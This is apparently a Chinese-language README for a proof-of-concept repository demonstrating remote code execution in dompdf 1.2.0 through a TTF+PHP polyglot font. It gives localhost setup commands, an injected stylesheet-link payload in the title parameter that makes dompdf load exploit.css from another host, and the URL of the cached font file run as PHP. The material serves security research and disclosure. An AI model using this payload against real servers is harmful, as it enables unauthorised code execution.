
针对 dompdf 的 RCE 漏洞利用
本仓库包含一个使用 dompdf 1.2.0 的易受攻击的演示应用程序,以及一个通过 ttf+php 多语言文件实现远程代码执行的漏洞利用。

更多详情,请访问 https://positive.security/blog/dompdf-rce
$ cd application
$ php -S localhost:9000
$ cd exploit
$ php -S localhost:9001
http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>
phpinfo()http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
请注意: 如果你使用不同的域名或端口,请相应编辑 exploit/exploit.css,并查看 application/dompdf/lib/fonts 以获取完整的字体文件名。